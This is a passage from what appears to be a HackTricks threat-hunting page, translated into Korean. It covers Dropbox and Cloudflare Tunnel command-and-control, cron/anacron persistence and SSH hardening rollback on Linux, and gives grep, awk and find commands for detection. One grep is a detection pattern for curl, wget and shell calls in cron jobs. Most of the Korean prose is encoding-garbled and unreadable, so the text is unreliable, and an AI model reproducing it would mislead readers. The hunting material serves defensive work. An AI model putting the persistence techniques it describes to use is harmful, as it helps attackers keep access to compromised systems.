api.dropboxapi.com/content.dropboxapi.com์์Authorization: Bearer <token>. - ์๋ฒ ์์ ๋ถํ์์ ํ์ผ์ ์ ์์ ์ผ๋ก ๋๊ธฐํํ์ง ์๋ Dropbox ๋๋ฉ์ธ์ผ๋ก์ ์์๋ฐ์ด๋ HTTPS๋ฅผ ์ํด ํ๋ก์/NetFlow/Zeek/Suricata์์ ์์ํฉ๋๋ค.
- ์ฑ๋์ด ์ฐจ๋จ๋ ๊ฒฝ์ฐ ์ ์ด๋ฅผ ์ ์งํ๋ ํฐ๋๋ง์ ํตํ ๋ณ๋ ฌ/๋ฐฑ์
C2 (์: Cloudflare Tunnel
cloudflared). - ํธ์คํธ IOC:
cloudflaredํ๋ก์ธ์ค/์ ๋,~/.cloudflared/*.json์ ๊ตฌ์ฑ, Cloudflare ์ฃ์ง๋ก์ ์์๋ฐ์ด๋ 443.
Persistence and โhardening rollbackโ to maintain access (Linux examples)
๊ณต๊ฒฉ์๋ ์์ฃผ ์๊ฐ ํจ์น์ ๋ด๊ตฌ์ฑ ์๋ ์ ๊ทผ ๊ฒฝ๋ก๋ฅผ ์์ผ๋ก ์ฌ์ฉํฉ๋๋ค:
- Cron/Anacron: ๊ฐ
/etc/cron.*/๋๋ ํ ๋ฆฌ์0anacron์คํ ์ ํธ์งํ์ฌ ์ฃผ๊ธฐ์ ์ผ๋ก ์คํํฉ๋๋ค. - ์์:
for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done
grep -R --line-number -E 'curl|wget|python|/bin/sh' /etc/cron.*/* 2>/dev/null
- SSH ๊ตฌ์ฑ ํ๋๋ ๋กค๋ฐฑ: ๋ฃจํธ ๋ก๊ทธ์ธ์ ํ์ฑํํ๊ณ ์ ๊ถํ ๊ณ์ ์ ๊ธฐ๋ณธ ์ ธ์ ๋ณ๊ฒฝํฉ๋๋ค.
- ๋ฃจํธ ๋ก๊ทธ์ธ ํ์ฑํ๋ฅผ ์์ํฉ๋๋ค:
grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
# "yes"์ ๊ฐ์ ํ๋๊ทธ ๊ฐ ๋๋ ์ง๋์น๊ฒ ๊ด๋ํ ์ค์
- ์์คํ
๊ณ์ ์์ ์์ฌ์ค๋ฌ์ด ๋ํํ ์
ธ์ ์์ํฉ๋๋ค (์:
games):
awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd
- ํด๋ผ์ฐ๋ C2์๋ ์ ์ดํ๋ ๋๋ค, ์งง์ ์ด๋ฆ์ ๋น์ฝ ์ํฐํฉํธ (8๊ฐ์ ์ํ๋ฒณ ๋ฌธ์)๊ฐ ๋์คํฌ์ ๋๋กญ๋ฉ๋๋ค:
- ์์:
find / -maxdepth 3 -type f -regextype posix-extended -regex '.*/[A-Za-z]{8}$' \
-exec stat -c '%n %s %y' {} \; 2>/dev/null | sort
์๋น์๋ ์ด๋ฌํ ์ํฐํฉํธ๋ฅผ ์ธ๋ถ ๋ ธ์ถ ๋ฐ ์๋น์ค ํจ์น ์ด๋ฒคํธ์ ์ฐ๊ด์์ผ ์ด๊ธฐ ์ ์ฉ์ ์จ๊ธฐ๊ธฐ ์ํด ์ฌ์ฉ๋ ๋ฐํฌ๋ ์ ์๊ฐ ๋ณต๊ตฌ๋ฅผ ๋ฐํ๋ด์ผ ํฉ๋๋ค.
References
-
Sophos X-Ops โ โAuKill: A Weaponized Vulnerable Driver for Disabling EDRโ (March 2023) https://news.sophos.com/en-us/2023/03/07/aukill-a-weaponized-vulnerable-driver-for-disabling-edr
-
Red Canary โ โPatching EtwEventWrite for Stealth: Detection & Huntingโ (June 2024) https://redcanary.com/blog/etw-patching-detection
-
Red Canary โ Patching for persistence: How DripDropper Linux malware moves through the cloud
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


